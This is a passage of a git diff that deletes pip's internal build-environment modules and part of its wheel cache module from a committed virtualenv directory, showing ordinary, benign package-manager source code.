-    BuildEnvironmentInstaller,
-    BuildIsolationMode,
-)
-from pip._internal.build_env.installer import (
-    InprocessBuildEnvironmentInstaller,
-    SubprocessBuildEnvironmentInstaller,
-)
-from pip._internal.build_env.noop import NoOpBuildEnvironment
-from pip._internal.build_env.venv import VenvBuildEnvironment
-from pip._internal.build_env.virtual import VirtualBuildEnvironment
-
-__all__ = [
-    "BuildEnvironment",
-    "BuildEnvironmentInstaller",
-    "BuildIsolationMode",
-    "InprocessBuildEnvironmentInstaller",
-    "NoOpBuildEnvironment",
-    "SubprocessBuildEnvironmentInstaller",
-    "VenvBuildEnvironment",
-    "VirtualBuildEnvironment",
-]
diff --git a/venv/Lib/site-packages/pip/_internal/build_env/base.py b/venv/Lib/site-packages/pip/_internal/build_env/base.py
deleted file mode 100644
index ce26d9c03fc8722a4d6ede5146531bd89ca2b59e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/build_env/base.py
+++ /dev/null
@@ -1,103 +0,0 @@
-from __future__ import annotations
-
-import abc
-from collections.abc import Iterable
-from contextlib import AbstractContextManager as ContextManager
-from typing import TYPE_CHECKING, Literal, Protocol
-
-from pip._vendor.packaging.version import Version
-
-from pip._internal.locations import get_scheme
-from pip._internal.metadata import get_default_environment, get_environment
-from pip._internal.utils.packaging import get_requirement
-
-if TYPE_CHECKING:
-    from pip._internal.req.req_install import InstallRequirement
-
-
-BuildIsolationMode = Literal["off", "virtual", "venv"]
-
-
-def _dedup(a: str, b: str) -> tuple[str] | tuple[str, str]:
-    return (a, b) if a != b else (a,)
-
-
-class Prefix:
-    # TODO: simplify this data model when the legacy subprocess installer is removed
-    def __init__(self, path: str, *, venv_executable: str | None = None) -> None:
-        self.path = path
-        self.setup = False
-        scheme = get_scheme("", prefix=path)
-        self.bin_dir = scheme.scripts
-        self.lib_dirs = _dedup(scheme.purelib, scheme.platlib)
-        self.venv_executable = venv_executable
-
-
-class BuildEnvironmentInstaller(Protocol):
-    """
-    Interface for installing build dependencies into an isolated build
-    environment.
-    """
-
-    def install(
-        self,
-        requirements: Iterable[str],
-        prefix: Prefix,
-        *,
-        kind: str,
-        for_req: InstallRequirement | None,
-    ) -> None: ...
-
-
-class BuildEnvironment(ContextManager[None], metaclass=abc.ABCMeta):
-    """Creates and manages an isolated environment to install build deps"""
-
-    lib_dirs: list[str]
-    python_executable: str
-
-    @abc.abstractmethod
-    def __init__(self, installer: BuildEnvironmentInstaller): ...
-
-    def check_requirements(
-        self, reqs: Iterable[str]
-    ) -> tuple[set[tuple[str, str]], set[str]]:
-        """Return 2 sets:
-        - conflicting requirements: set of (installed, wanted) reqs tuples
-        - missing requirements: set of reqs
-        """
-        missing = set()
-        conflicting = set()
-        if reqs:
-            env = (
-                get_environment(self.lib_dirs)
-                if hasattr(self, "lib_dirs")
-                else get_default_environment()
-            )
-            for req_str in reqs:
-                req = get_requirement(req_str)
-                # We're explicitly evaluating with an empty extra value, since build
-                # environments are not provided any mechanism to select specific extras.
-                if req.marker is not None and not req.marker.evaluate({"extra": ""}):
-                    continue
-                dist = env.get_distribution(req.name)
-                if not dist:
-                    missing.add(req_str)
-                    continue
-                if isinstance(dist.version, Version):
-                    installed_req_str = f"{req.name}=={dist.version}"
-                else:
-                    installed_req_str = f"{req.name}==={dist.version}"
-                if not req.specifier.contains(dist.version, prereleases=True):
-                    conflicting.add((installed_req_str, req_str))
-                # FIXME: Consider direct URL?
-        return conflicting, missing
-
-    @abc.abstractmethod
-    def install_requirements(
-        self,
-        requirements: Iterable[str],
-        prefix_as_string: str,
-        *,
-        kind: str,
-        for_req: InstallRequirement | None = None,
-    ) -> None: ...
diff --git a/venv/Lib/site-packages/pip/_internal/build_env/installer.py b/venv/Lib/site-packages/pip/_internal/build_env/installer.py
deleted file mode 100644
index 790ad5f3b7a623c9f20b4d5383c6b15d61c60243..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/build_env/installer.py
+++ /dev/null
@@ -1,333 +0,0 @@
-from __future__ import annotations
-
-import logging
-import sys
-import textwrap
-from collections.abc import Iterable, Sequence
-from contextlib import AbstractContextManager as ContextManager
-from contextlib import nullcontext
-from io import StringIO
-from typing import TYPE_CHECKING
-
-from pip._internal.build_env.base import Prefix
-from pip._internal.cli.spinners import open_rich_spinner, open_spinner
-from pip._internal.exceptions import (
-    BuildDependencyInstallError,
-    DiagnosticPipError,
-    InstallWheelBuildError,
-    PipError,
-)
-from pip._internal.metadata import get_environment
-from pip._internal.utils.logging import VERBOSE, capture_logging
-from pip._internal.utils.misc import get_runnable_pip
-from pip._internal.utils.subprocess import call_subprocess
-from pip._internal.utils.temp_dir import TempDirectory
-
-if TYPE_CHECKING:
-    from pip._internal.cache import WheelCache
-    from pip._internal.index.package_finder import PackageFinder
-    from pip._internal.operations.build.build_tracker import BuildTracker
-    from pip._internal.req.req_install import InstallRequirement
-    from pip._internal.resolution.base import BaseResolver
-
-
-logger = logging.getLogger(__name__)
-
-
-class SubprocessBuildEnvironmentInstaller:
-    """
-    Install build dependencies by calling pip in a subprocess.
-    """
-
-    def __init__(
-        self,
-        finder: PackageFinder,
-        build_constraints: list[str] | None = None,
-    ) -> None:
-        self.finder = finder
-        self._build_constraints = build_constraints or []
-
-    def install(
-        self,
-        requirements: Iterable[str],
-        prefix: Prefix,
-        *,
-        kind: str,
-        for_req: InstallRequirement | None,
-    ) -> None:
-        finder = self.finder
-        args: list[str] = [
-            get_runnable_pip(),
-            "install",
-            # HACK: --prefix shouldn't be necessary for venv environments, but
-            # we set it anyway so if it's set via an envvar or configuration
-            # file, it won't break things, *sigh*.
-            "--prefix",
-            prefix.path,
-            "--no-user",
-            "--no-warn-script-location",
-            "--disable-pip-version-check",
-            # As the build environment is ephemeral, it's wasteful to
-            # pre-compile everything, especially as not every Python
-            # module will be used/compiled in most cases.
-            "--no-compile",
-            # The prefix specified two lines above, thus
-            # target from config file or env var should be ignored
-            "--target",
-            "",
-        ]
-        if prefix.venv_executable:
-            args.insert(0, prefix.venv_executable)
-        else:
-            args.insert(0, sys.executable)
-            args.append("--ignore-installed")
-
-        if logger.getEffectiveLevel() <= logging.DEBUG:
-            args.append("-vv")
-        elif logger.getEffectiveLevel() <= VERBOSE:
-            args.append("-v")
-        for format_control in ("no_binary", "only_binary"):
-            formats = getattr(finder.format_control, format_control)
-            args.extend(
-                (
-                    "--" + format_control.replace("_", "-"),
-                    ",".join(sorted(formats or {":none:"})),
-                )
-            )
-
-        if finder.release_control is not None:
-            # Use ordered args to preserve the user's original command-line order
-            # This is important because later flags can override earlier ones
-            for attr_name, value in finder.release_control.get_ordered_args():
-                args.extend(("--" + attr_name.replace("_", "-"), value))
-
-        index_urls = finder.index_urls
-        if index_urls:
-            args.extend(["-i", index_urls[0]])
-            for extra_index in index_urls[1:]:
-                args.extend(["--extra-index-url", extra_index])
-        else:
-            args.append("--no-index")
-        for link in finder.find_links:
-            args.extend(["--find-links", link])
-
-        # is not None: forward an empty --proxy "" (disable proxying) too.
-        if finder.proxy is not None:
-            args.extend(["--proxy", finder.proxy])
-        if finder.no_proxy_env:
-            args.append("--no-proxy-env")
-        for host in finder.trusted_hosts:
-            args.extend(["--trusted-host", host])
-        if finder.custom_cert:
-            args.extend(["--cert", finder.custom_cert])
-        if finder.client_cert:
-            args.extend(["--client-cert", finder.client_cert])
-        if finder.prefer_binary:
-            args.append("--prefer-binary")
-        if finder.refresh_package:
-            args.extend(["--refresh-package", ",".join(finder.refresh_package)])
-
-        # Only build constraints apply in the isolated build environment.
-        # _PIP_IN_BUILD_IGNORE_CONSTRAINTS tells the subprocess to ignore the
-        # regular constraints it inherits (via PIP_CONSTRAINT or config files).
-        # Build constraints reach it through --build-constraint, which also
-        # constrains any nested builds.
-        for constraint_file in self._build_constraints:
-            args.extend(["--build-constraint", constraint_file])
-
-        if finder.uploaded_prior_to:
-            args.extend(["--uploaded-prior-to", finder.uploaded_prior_to.isoformat()])
-        args.append("--")
-        args.extend(requirements)
-
-        identify_requirement = (
-            f" for {for_req.name}" if for_req and for_req.name else ""
-        )
-        with open_spinner(f"Installing {kind}") as spinner:
-            call_subprocess(
-                args,
-                command_desc=f"installing {kind}{identify_requirement}",
-                spinner=spinner,
-                extra_environ={"_PIP_IN_BUILD_IGNORE_CONSTRAINTS": "1"},
-            )
-
-
-class InprocessBuildEnvironmentInstaller:
-    """
-    Install build dependencies via the already running pip process.
-
-    This contains a stripped down version of the install command with
-    only the logic necessary for installing build dependencies. The
-    finder, session, build tracker, and wheel cache are reused, but new
-    instances of everything else are created as needed.
-
-    Options are inherited from the parent install command unless
-    they don't make sense for build dependencies (in which case, they
-    are hard-coded, see comments below).
-    """
-
-    # TODO: this plays poorly with venv-based build environments, but cannot be
-    # fixed until pip gains better support for operating within a Python
-    # environment that isn't the running environment.
-
-    def __init__(
-        self,
-        *,
-        finder: PackageFinder,
-        build_tracker: BuildTracker,
-        wheel_cache: WheelCache,
-        build_constraints: Sequence[InstallRequirement] = (),
-        verbosity: int = 0,
-    ) -> None:
-        from pip._internal.operations.prepare import RequirementPreparer
-
-        self._finder = finder
-        self._build_constraints = build_constraints
-        self._wheel_cache = wheel_cache
-        self._level = 0
-
-        build_dir = TempDirectory(kind="build-env-install", globally_managed=True)
-        self._preparer = RequirementPreparer(
-            build_isolation_installer=self,
-            # Inherited options or state.
-            finder=finder,
-            session=finder._link_collector.session,
-            build_dir=build_dir.path,
-            build_tracker=build_tracker,
-            verbosity=verbosity,
-            # This is irrelevant as it only applies to editable requirements.
-            src_dir="",
-            # Hard-coded options (that should NOT be inherited).
-            download_dir=None,
-            build_isolation="virtual",
-            check_build_deps=False,
-            progress_bar="off",
-            # TODO: hash-checking should be extended to build deps, but that is
-            # deferred for later as it'd be a breaking change.
-            require_hashes=False,
-            use_user_site=False,
-            lazy_wheel=False,
-            legacy_resolver=False,
-            allow_editables=True,
-        )
-
-    def install(
-        self,
-        requirements: Iterable[str],
-        prefix: Prefix,
-        *,
-        kind: str,
-        for_req: InstallRequirement | None,
-    ) -> None:
-        """Install entrypoint. Manages output capturing and error handling."""
-        capture_logs = not logger.isEnabledFor(VERBOSE) and self._level == 0
-        if capture_logs:
-            # Hide the logs from the installation of build dependencies.
-            # They will be shown only if an error occurs.
-            capture_ctx: ContextManager[StringIO] = capture_logging()
-            spinner: ContextManager[None] = open_rich_spinner(f"Installing {kind}")
-        else:
-            # Otherwise, pass-through all logs (with a header).
-            capture_ctx, spinner = nullcontext(StringIO()), nullcontext()
-            logger.info("Installing %s ...", kind)
-
-        try:
-            self._level += 1
-            with spinner, capture_ctx as stream:
-                self._install_impl(requirements, prefix)
-
-        except DiagnosticPipError as exc:
-            # Format similar to a nested subprocess error, where the
-            # causing error is shown first, followed by the build error.
-            logger.info(textwrap.dedent(stream.getvalue()))
-            logger.error("%s", exc, extra={"rich": True})
-            logger.info("")
-            raise BuildDependencyInstallError(
-                for_req, requirements, cause=exc, log_lines=None
-            )
-
-        except Exception as exc:
-            logs: list[str] | None = textwrap.dedent(stream.getvalue()).splitlines()
-            if not capture_logs:
-                # If logs aren't being captured, then display the error inline
-                # with the rest of the logs.
-                logs = None
-                if isinstance(exc, PipError):
-                    logger.error("%s", exc)
-                else:
-                    logger.exception("pip crashed unexpectedly")
-            raise BuildDependencyInstallError(
-                for_req, requirements, cause=exc, log_lines=logs
-            )
-
-        finally:
-            self._level -= 1
-
-    def _install_impl(self, requirements: Iterable[str], prefix: Prefix) -> None:
-        """Core build dependency install logic."""
-        from pip._internal.commands.install import installed_packages_summary
-        from pip._internal.req import install_given_reqs
-        from pip._internal.req.constructors import install_req_from_line
-        from pip._internal.wheel_builder import build
-
-        ireqs = [install_req_from_line(req, user_supplied=True) for req in requirements]
-        ireqs.extend(self._build_constraints)
-
-        resolver = self._make_resolver()
-        resolved_set = resolver.resolve(ireqs, check_supported_wheels=True)
-        self._preparer.prepare_linked_requirements_more(
-            resolved_set.requirements.values()
-        )
-
-        reqs_to_build = [
-            r for r in resolved_set.requirements_to_install if not r.is_wheel
-        ]
-        _, build_failures = build(
-            reqs_to_build, self._wheel_cache, verify=True, allow_editables=True
-        )
-        if build_failures:
-            raise InstallWheelBuildError(build_failures)
-
-        installed = install_given_reqs(
-            resolver.get_installation_order(resolved_set),
-            prefix=prefix.path,
-            # Hard-coded options (that should NOT be inherited).
-            root=None,
-            home=None,
-            warn_script_location=False,
-            use_user_site=False,
-            # As the build environment is ephemeral, it's wasteful to
-            # pre-compile everything since not all modules will be used.
-            pycompile=False,
-            progress_bar="off",
-            # Link console scripts to the build env's interpreter, not pip's.
-            script_executable=prefix.venv_executable,
-        )
-
-        env = get_environment(list(prefix.lib_dirs))
-        if summary := installed_packages_summary(installed, env):
-            logger.info(summary)
-
-    def _make_resolver(self) -> BaseResolver:
-        """Create a new resolver for one time use."""
-        # Legacy installer never used the legacy resolver so create a
-        # resolvelib resolver directly. Yuck.
-        from pip._internal.req.constructors import install_req_from_req_string
-        from pip._internal.resolution.resolvelib.resolver import Resolver
-
-        return Resolver(
-            make_install_req=install_req_from_req_string,
-            # Inherited state.
-            preparer=self._preparer,
-            finder=self._finder,
-            wheel_cache=self._wheel_cache,
-            # Hard-coded options (that should NOT be inherited).
-            ignore_requires_python=False,
-            use_user_site=False,
-            ignore_dependencies=False,
-            only_dependencies=False,
-            ignore_installed=True,
-            force_reinstall=False,
-            upgrade_strategy="to-satisfy-only",
-            py_version_info=None,
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/build_env/noop.py b/venv/Lib/site-packages/pip/_internal/build_env/noop.py
deleted file mode 100644
index c9ee81c1b9c11f7b83abd9f222bd4c1f720a4f29..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/build_env/noop.py
+++ /dev/null
@@ -1,42 +0,0 @@
-from __future__ import annotations
-
-import sys
-from collections.abc import Iterable
-from types import TracebackType
-from typing import TYPE_CHECKING
-
-from pip._internal.build_env.base import BuildEnvironment
-
-if TYPE_CHECKING:
-    from pip._internal.req.req_install import InstallRequirement
-
-
-class NoOpBuildEnvironment(BuildEnvironment):
-    """A no-op drop-in replacement for BuildEnvironment"""
-
-    def __init__(self) -> None:
-        self.python_executable = sys.executable
-
-    def __enter__(self) -> None:
-        pass
-
-    def __exit__(
-        self,
-        exc_type: type[BaseException] | None,
-        exc_val: BaseException | None,
-        exc_tb: TracebackType | None,
-    ) -> None:
-        pass
-
-    def cleanup(self) -> None:
-        pass
-
-    def install_requirements(
-        self,
-        requirements: Iterable[str],
-        prefix_as_string: str,
-        *,
-        kind: str,
-        for_req: InstallRequirement | None = None,
-    ) -> None:
-        raise NotImplementedError()
diff --git a/venv/Lib/site-packages/pip/_internal/build_env/venv.py b/venv/Lib/site-packages/pip/_internal/build_env/venv.py
deleted file mode 100644
index d6d7c5055a19f3051dee33999233c062517d2c0c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/build_env/venv.py
+++ /dev/null
@@ -1,145 +0,0 @@
-from __future__ import annotations
-
-import os
-import sys
-import sysconfig
-from collections.abc import Iterable
-from types import TracebackType
-from typing import TYPE_CHECKING
-
-from pip._internal.build_env.base import (
-    BuildEnvironment,
-    BuildEnvironmentInstaller,
-    Prefix,
-)
-from pip._internal.exceptions import VenvCreationError, VenvImportError
-from pip._internal.utils.temp_dir import TempDirectory, tempdir_kinds
-
-if TYPE_CHECKING:
-    from pip._internal.req.req_install import InstallRequirement
-
-
-def _get_venv_path_from_sysconfig(name: str, env_dir: str) -> str:
-    vars = {
-        "base": env_dir,
-        "platbase": env_dir,
-    }
-    return sysconfig.get_path(name, scheme="venv", vars=vars)
-
-
-class VenvBuildEnvironment(BuildEnvironment):
-    """A venv-based build environment."""
-
-    def __init__(self, installer: BuildEnvironmentInstaller) -> None:
-        # We defer this import because certain distributions of Python do not include
-        # a functional venv out of the box.
-        try:
-            import venv
-        except ImportError:
-            raise VenvImportError
-
-        self._env_path = TempDirectory(
-            kind=tempdir_kinds.BUILD_ENV, globally_managed=True
-        ).path
-        # Use symlinks to support relocatable Python installations on POSIX, including
-        # python-build-standalone. This matches upstream venv CLI's behaviour.
-        env = venv.EnvBuilder(symlinks=(os.name != "nt"))
-        try:
-            context = env.ensure_directories(self._env_path)
-            env.create(self._env_path)
-        except OSError as e:
-            raise VenvCreationError(str(e))
-
-        if sys.version_info >= (3, 12):
-            # The context object was only documented in Python 3.12
-            self.lib_dirs = [context.lib_path]
-            self._bin_path = context.bin_path
-        elif sys.version_info[:2] == (3, 11):
-            # On Python 3.11, we can use sysconfig.
-            self.lib_dirs = [_get_venv_path_from_sysconfig("purelib", self._env_path)]
-            self._bin_path = _get_venv_path_from_sysconfig("scripts", self._env_path)
-        else:
-            # Otherwise, we need to manually construct all the paths... sigh.
-            if sys.platform == "win32":
-                libpath = os.path.join(self._env_path, "Lib", "site-packages")
-            else:
-                python = "pypy" if sys.implementation.name == "pypy" else "python"
-                libpath = os.path.join(
-                    self._env_path,
-                    "lib",
-                    f"{python}{sys.version_info.major}.{sys.version_info.minor}",
-                    "site-packages",
-                )
-            self.lib_dirs = [libpath]
-            # Same reasoning for try-except as for python_executable below.
-            try:
-                self._bin_path = context.bin_path
-            except AttributeError:
-                scripts_dir = "Scripts" if os.name == "nt" else "bin"
-                self._bin_path = os.path.join(self._env_path, scripts_dir)
-
-        # There are enough ways trying to construct the Python executable path can go
-        # wrong that we're better off assuming that the context object has the right
-        # attributes, and only when they don't exist do we try to guess.
-        #
-        # These attributes seem to exist in every CPython version after 3.10.1 and
-        # are documented to exist on 3.12 and higher.
-        try:
-            self.python_executable = context.env_exec_cmd
-        except AttributeError:
-            try:
-                self.python_executable = context.env_exe
-            except AttributeError:
-                executable_name = "python.exe" if os.name == "nt" else "python"
-                self.python_executable = os.path.join(self._bin_path, executable_name)
-
-        self._save_env: dict[str, str | None] = {}
-        self._installer = installer
-
-        if not os.path.exists(self.python_executable):
-            # This error is only likely on Windows due to interference from AV software.
-            raise VenvCreationError(
-                f"Python executable failed to copy to {self.python_executable}"
-            )
-
-    def __enter__(self) -> None:
-        # We want backend calls to be able to use binaries installed as if this
-        # virtual environment was "activated".
-        self._save_env = {
-            name: os.environ.get(name, None) for name in ("PATH", "PYTHONPATH")
-        }
-
-        new_path = [self._bin_path]
-        if old_path := self._save_env["PATH"]:
-            new_path.extend(old_path.split(os.pathsep))
-        # However, we don't want a pre-existing PYTHONPATH to influence the
-        # backend calls.
-        os.environ.update({"PATH": os.pathsep.join(new_path), "PYTHONPATH": ""})
-
-    def __exit__(
-        self,
-        exc_type: type[BaseException] | None,
-        exc_val: BaseException | None,
-        exc_tb: TracebackType | None,
-    ) -> None:
-        for varname, old_value in self._save_env.items():
-            if old_value is None:
-                os.environ.pop(varname, None)
-            else:
-                os.environ[varname] = old_value
-
-    def install_requirements(
-        self,
-        requirements: Iterable[str],
-        prefix_as_string: str,
-        *,
-        kind: str,
-        for_req: InstallRequirement | None = None,
-    ) -> None:
-        if not requirements:
-            return
-
-        # TODO: when better support for installing to arbitrary Python environments
-        # is added, replace this prefix hack with that.
-        prefix = Prefix(self._env_path, venv_executable=self.python_executable)
-        self._installer.install(requirements, prefix, kind=kind, for_req=for_req)
diff --git a/venv/Lib/site-packages/pip/_internal/build_env/virtual.py b/venv/Lib/site-packages/pip/_internal/build_env/virtual.py
deleted file mode 100644
index 2f06c6ca83100644eb7d9e9d86f310443a93e353..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/build_env/virtual.py
+++ /dev/null
@@ -1,139 +0,0 @@
-from __future__ import annotations
-
-import os
-import site
-import sys
-import textwrap
-from collections import OrderedDict
-from collections.abc import Iterable
-from types import TracebackType
-from typing import TYPE_CHECKING
-
-from pip._internal.build_env.base import (
-    BuildEnvironment,
-    BuildEnvironmentInstaller,
-    Prefix,
-)
-from pip._internal.utils.temp_dir import TempDirectory, tempdir_kinds
-
-if TYPE_CHECKING:
-    from pip._internal.req.req_install import InstallRequirement
-
-
-def get_system_sitepackages() -> set[str]:
-    """Get system site packages, as a normalized set of strings."""
-    system_sites = site.getsitepackages()
-    return {os.path.normcase(path) for path in system_sites}
-
-
-class VirtualBuildEnvironment(BuildEnvironment):
-    """Legacy build environment implementation.
-
-    Patches sys.path and uses sitecustomize.py to isolate Python processes. It has
-    known bugs and weird edge cases, but it exists as a fallback for platforms where
-    the venv module is unavailable or dysfunctional.
-    """
-
-    def __init__(self, installer: BuildEnvironmentInstaller) -> None:
-        self.python_executable = sys.executable
-        self.installer = installer
-        temp_dir = TempDirectory(kind=tempdir_kinds.BUILD_ENV, globally_managed=True)
-
-        self._prefixes = OrderedDict(
-            (name, Prefix(os.path.join(temp_dir.path, name)))
-            for name in ("normal", "overlay")
-        )
-
-        self._bin_dirs: list[str] = []
-        self.lib_dirs: list[str] = []
-        for prefix in reversed(list(self._prefixes.values())):
-            self._bin_dirs.append(prefix.bin_dir)
-            self.lib_dirs.extend(prefix.lib_dirs)
-
-        # Customize site to:
-        # - ensure .pth files are honored
-        # - prevent access to system site packages
-        system_sites = get_system_sitepackages()
-
-        self._site_dir = os.path.join(temp_dir.path, "site")
-        if not os.path.exists(self._site_dir):
-            os.mkdir(self._site_dir)
-        with open(
-            os.path.join(self._site_dir, "sitecustomize.py"), "w", encoding="utf-8"
-        ) as fp:
-            fp.write(textwrap.dedent("""
-                import os, site, sys
-
-                # First, discover all system-sites related paths.
-                original_sys_path = sys.path[:]
-                # Clear sys.path so addsitedir() will add system site paths and paths
-                # added by contained .pth files to sys.path reliably. This is necessary
-                # since Python 3.15, which notably no longer re-executes .pth files for
-                # known paths.
-                sys.path = []
-                known_paths = set()
-                for path in {system_sites!r}:
-                    site.addsitedir(path, known_paths=known_paths)
-                system_paths = set(os.path.normcase(path) for path in sys.path)
-
-                # Drop discovered system-sites related paths.
-                original_sys_path = [
-                    path for path in original_sys_path
-                    if os.path.normcase(path) not in system_paths
-                ]
-                sys.path = original_sys_path
-
-                # Second, add lib directories.
-                # ensuring .pth file are processed.
-                for path in {lib_dirs!r}:
-                    assert not path in sys.path
-                    site.addsitedir(path)
-                """).format(system_sites=system_sites, lib_dirs=self.lib_dirs))
-
-    def __enter__(self) -> None:
-        self._save_env = {
-            name: os.environ.get(name, None)
-            for name in ("PATH", "PYTHONNOUSERSITE", "PYTHONPATH")
-        }
-
-        path = self._bin_dirs[:]
-        old_path = self._save_env["PATH"]
-        if old_path:
-            path.extend(old_path.split(os.pathsep))
-
-        pythonpath = [self._site_dir]
-
-        os.environ.update(
-            {
-                "PATH": os.pathsep.join(path),
-                "PYTHONNOUSERSITE": "1",
-                "PYTHONPATH": os.pathsep.join(pythonpath),
-            }
-        )
-
-    def __exit__(
-        self,
-        exc_type: type[BaseException] | None,
-        exc_val: BaseException | None,
-        exc_tb: TracebackType | None,
-    ) -> None:
-        for varname, old_value in self._save_env.items():
-            if old_value is None:
-                os.environ.pop(varname, None)
-            else:
-                os.environ[varname] = old_value
-
-    def install_requirements(
-        self,
-        requirements: Iterable[str],
-        prefix_as_string: str,
-        *,
-        kind: str,
-        for_req: InstallRequirement | None = None,
-    ) -> None:
-        prefix = self._prefixes[prefix_as_string]
-        assert not prefix.setup
-        prefix.setup = True
-        if not requirements:
-            return
-        self.installer.install(requirements, prefix, kind=kind, for_req=for_req)
diff --git a/venv/Lib/site-packages/pip/_internal/cache.py b/venv/Lib/site-packages/pip/_internal/cache.py
deleted file mode 100644
index 462231a36ec9ac5ea8faa99cdb4623696c1ca911..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/cache.py
+++ /dev/null
@@ -1,294 +0,0 @@
-"""Cache Management"""
-
-from __future__ import annotations
-
-import hashlib
-import json
-import logging
-import os
-from pathlib import Path
-from typing import Any
-
-from pip._vendor.packaging.tags import Tag, interpreter_name, interpreter_version
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.exceptions import InvalidWheelFilename
-from pip._internal.models.direct_url import DirectUrl
-from pip._internal.models.link import Link
-from pip._internal.models.wheel import Wheel
-from pip._internal.utils.temp_dir import TempDirectory, tempdir_kinds
-from pip._internal.utils.urls import path_to_url
-
-logger = logging.getLogger(__name__)
-
-ORIGIN_JSON_NAME = "origin.json"
-
-
-def _hash_dict(d: dict[str, str]) -> str:
-    """Return a stable sha224 of a dictionary."""
-    s = json.dumps(d, sort_keys=True, separators=(",", ":"), ensure_ascii=True)
-    return hashlib.sha224(s.encode("ascii")).hexdigest()
-
-
-class Cache:
-    """An abstract class - provides cache directories for data from links
-
-    :param cache_dir: The root of the cache.
-    """
-
-    def __init__(self, cache_dir: str) -> None:
-        super().__init__()
-        assert not cache_dir or os.path.isabs(cache_dir)
-        self.cache_dir = cache_dir or None
-
-    def _get_cache_path_parts(self, link: Link) -> list[str]:
-        """Get parts of part that must be os.path.joined with cache_dir"""
-
-        # We want to generate an url to use as our cache key, we don't want to
-        # just reuse the URL because it might have other items in the fragment
-        # and we don't care about those.
-        key_parts = {"url": link.url_without_fragment}
-        if link.hash_name is not None and link.hash is not None:
-            key_parts[link.hash_name] = link.hash
-        if link.subdirectory_fragment:
-            key_parts["subdirectory"] = link.subdirectory_fragment
-
-        # Include interpreter name, major and minor version in cache key
-        # to cope with ill-behaved sdists that build a different wheel
-        # depending on the python version their setup.py is being run on,
-        # and don't encode the difference in compatibility tags.
-        # https://github.com/pypa/pip/issues/7296
-        key_parts["interpreter_name"] = interpreter_name()
-        key_parts["interpreter_version"] = interpreter_version()
-
-        # Encode our key url with sha224, we'll use this because it has similar
-        # security properties to sha256, but with a shorter total output (and
-        # thus less secure). However the differences don't make a lot of
-        # difference for our use case here.
-        hashed = _hash_dict(key_parts)
-
-        # We want to nest the directories some to prevent having a ton of top
-        # level directories where we might run out of sub directories on some
-        # FS.
-        parts = [hashed[:2], hashed[2:4], hashed[4:6], hashed[6:]]
-
-        return parts
-
-    def _get_candidates(self, link: Link, canonical_package_name: str) -> list[Any]:
-        can_not_cache = not self.cache_dir or not canonical_package_name or not link
-        if can_not_cache:
-            return []
-
-        path = self.get_path_for_link(link)
-        if os.path.isdir(path):
-            return [(candidate, path) for candidate in os.listdir(path)]
-        return []
-
-    def get_path_for_link(self, link: Link) -> str:
-        """Return a directory to store cached items in for link."""
-        raise NotImplementedError()
-
-    def get(
-        self,
-        link: Link,
-        package_name: str | None,
-        supported_tags: list[Tag],
-    ) -> Link:
-        """Returns a link to a cached item if it exists, otherwise returns the
-        passed link.
-        """
-        raise NotImplementedError()
-
-
-class SimpleWheelCache(Cache):
-    """A cache of wheels for future installs."""
-
-    def __init__(self, cache_dir: str) -> None:
-        super().__init__(cache_dir)
-
-    def get_path_for_link(self, link: Link) -> str:
-        """Return a directory to store cached wheels for link
-
-        Because there are M wheels for any one sdist, we provide a directory
-        to cache them in, and then consult that directory when looking up
-        cache hits.
-
-        We only insert things into the cache if they have plausible version
-        numbers, so that we don't contaminate the cache with things that were
-        not unique. E.g. ./package might have dozens of installs done for it
-        and build a version of 0.0...and if we built and cached a wheel, we'd
-        end up using the same wheel even if the source has been edited.
-
-        :param link: The link of the sdist for which this will cache wheels.
-        """
-        parts = self._get_cache_path_parts(link)
-        assert self.cache_dir
-        # Store wheels within the root cache_dir
-        return os.path.join(self.cache_dir, "wheels", *parts)
-
-    def get(
-        self,
-        link: Link,
-        package_name: str | None,
-        supported_tags: list[Tag],
-    ) -> Link:
-        candidates = []
-
-        if link.is_existing_dir():
-            return link
-        if not package_name:
-            return link
-
-        canonical_package_name = canonicalize_name(package_name)
-        supported_tags_set = set(supported_tags)
-        for wheel_name, wheel_dir in self._get_candidates(link, canonical_package_name):
-            try:
-                wheel = Wheel(wheel_name)
-            except InvalidWheelFilename:
-                continue
-            if wheel.name != canonical_package_name:
-                logger.debug(
-                    "Ignoring cached wheel %s for %s as it "
-                    "does not match the expected distribution name %s.",
-                    wheel_name,
-                    link,
-                    package_name,
-                )
-                continue
-            if not wheel.supported(supported_tags_set):
-                # Built for a different python/arch/etc
-                continue
-            candidates.append(
-                (
-                    wheel.support_index_min(supported_tags),
-                    wheel_name,
-                    wheel_dir,
-                )
-            )
-
-        if not candidates:
-            return link
-
-        _, wheel_name, wheel_dir = min(candidates)
-        return Link(path_to_url(os.path.join(wheel_dir, wheel_name)))
-
-
-class EphemWheelCache(SimpleWheelCache):
-    """A SimpleWheelCache that creates it's own temporary cache directory"""
-
-    def __init__(self) -> None:
-        self._temp_dir = TempDirectory(
-            kind=tempdir_kinds.EPHEM_WHEEL_CACHE,
-            globally_managed=True,
-        )
-
-        super().__init__(self._temp_dir.path)
-
-
-class CacheEntry:
-    def __init__(
-        self,
-        link: Link,
-        persistent: bool,
-    ):
-        self.link = link
-        self.persistent = persistent
-        self.origin: DirectUrl | None = None
-        origin_direct_url_path = Path(self.link.file_path).parent / ORIGIN_JSON_NAME
-        if origin_direct_url_path.exists():
-            try:
-                self.origin = DirectUrl.from_json(
-                    origin_direct_url_path.read_text(encoding="utf-8")
-                )
-            except Exception as e:
-                logger.warning(
-                    "Ignoring invalid cache entry origin file %s for %s (%s)",
-                    origin_direct_url_path,
-                    link.filename,
-                    e,
-                )
-
-
-class WheelCache(Cache):
-    """Wraps EphemWheelCache and SimpleWheelCache into a single Cache
-
-    This Cache allows for gracefully degradation, using the ephem wheel cache
-    when a certain link is not found in the simple wheel cache first.
-    """
-
-    def __init__(self, cache_dir: str) -> None:
-        super().__init__(cache_dir)
-        self._wheel_cache = SimpleWheelCache(cache_dir)
-        self._ephem_cache = EphemWheelCache()
-
-    def get_path_for_link(self, link: Link) -> str:
-        return self._wheel_cache.get_path_for_link(link)
-
-    def get_ephem_path_for_link(self, link: Link) -> str:
